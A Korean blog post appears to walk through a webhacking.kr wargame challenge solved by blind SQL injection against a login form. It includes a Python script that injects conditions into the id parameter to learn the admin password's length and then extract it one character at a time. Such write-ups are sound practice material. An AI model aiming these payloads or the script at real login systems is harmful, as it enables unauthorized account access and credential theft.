요모조모 ʚɞ

[Webhacking.kr] old-21번 문제 풀이 본문

웹 해킹

[Webhacking.kr] old-21번 문제 풀이

Angela_OH 2020. 8. 21. 03:03

 

안녕하세요 (* ̄3 ̄)╭

오늘도 새로운 문제를 풀어보았습니당!

 

https://webhacking.kr/challenge/bonus-1/

 

Challenge 21

 

webhacking.kr

 

문제입니다!

 

21번 문제

 

아무 문제나 고른다고 골랐는데ㅠ

또 blind sql injection 문제네요..^^ 그만,,

메인 화면에는 보이는 것과 같이 로그인 창이 하나 있습니다!

 

login success

 

보통 많이 사용하는 admin/admin, root/root, guest/guest 등 여러 가지 로그인을 시도해보았는데,

guest/guest로 로그인을 했을 때 다음과 같은 화면이 떴습니다!

오..뭐지 풀린 건가,, 싶었는데 아무 일이 생기지 않는 것을 보니

guest가 아닌 admin으로 로그인을 성공하는 것이 이 문제의 목표가 아닐까 싶습니다!

 

admin/admin으로 로그인했을 때 login failed가 뜨기 때문에

admin 계정에 해당하는 비밀번호를 찾아내면 될 것 같네요 ㅎㅎ

 

01
시도 1

 

blind sql injection이라고 주어진 문제였기 때문에 우선 비밀번호 없이 로그인을 시도해보았습니다.

하지만 아무런 결과가 나오지 않는 것을 보니 이 방법은 아닌 것 같습니다!

 

01
시도 2

 

다음으로는 임의의 비밀번호를 함께 입력해주었습니다!

이렇게 했을 때 여태까지 보지 못했던 result 값인 'wrong password'가 나왔습니다!

기존에 admin/admin으로 접속했을 때 'login failed'가 떴기 때문에

result 값을 적절히 활용하면 blind sql injection을 수행할 수 있을 것 같네요!

 

이후에는 column name이 id, pw라고 가정하고 python으로 테스트를 해보았는데

어떠한 값이 출력되는 것을 확인하고 이것을 script로 작성해보았습니다.

 

import requests

url='https://webhacking.kr/challenge/bonus-1/index.php'

params={'pw': 'admin'}

# To find length of password

pw_len=1

while True:
	params['id']="admin' and length(pw)={} #".format(pw_len)
	response=requests.get(url, params=params)
	if "wrong password" in response.text:
		break
	pw_len+=1
    
print("pw_length: "+str(pw_len))

# To find password

pw=""

for a in range(1, pw_len+1):
	for b in range(1, 128):
		params['id']="admin' and ascii(substr(pw, {}, 1))={} #".format(a, b)
		response=requests.get(url, params=params)
		if "wrong password" in response.text:
			# print(chr(b))
			pw+=chr(b)
			break
            
print("pw: "+pw)

 

처음 문제를 풀 때는 id와 pw를 모두 찾아보려고 했는데,

adein/ghere?라는 이상한 계정이 출력되더라구요 ㅠㅠ

그래서 id를 admin으로 고정시키고, 해당 id에 대한 비밀번호를 비교하였습니다!

 

그리고 비교한 결과가 참일 경우 wrong password라는 result 값이 떴기 때문에

이것을 break의 기준으로 설정하였습니다.

 

추가적으로 해당 코드를 실행시키게 되면,

비밀번호의 자릿수가 36자리이기 때문에

비밀번호를 다 비교하기 위해서 꽤 많은 시간이 소요됩니다 ㅜㅜ

저도 한참을 기다렸던 것 같아요...ㅎㅎ

참고해주세요!

 

결과는 다음과 같이 나오게 됩니다!

password

 

위와 같이 출력한 비밀번호와 admin이라는 id로 로그인을 시도하면 문제가 해결됩니다 :)

 

solved!

 

오늘 문제는 (이상한 계정의 등장으로 인한) 삽질과,,, 결과 출력을 하염없이 기다리느라

꽤 많은 시간을 쓴 것 같네요 ㅠ_ㅠ

분노,,,

 

Comments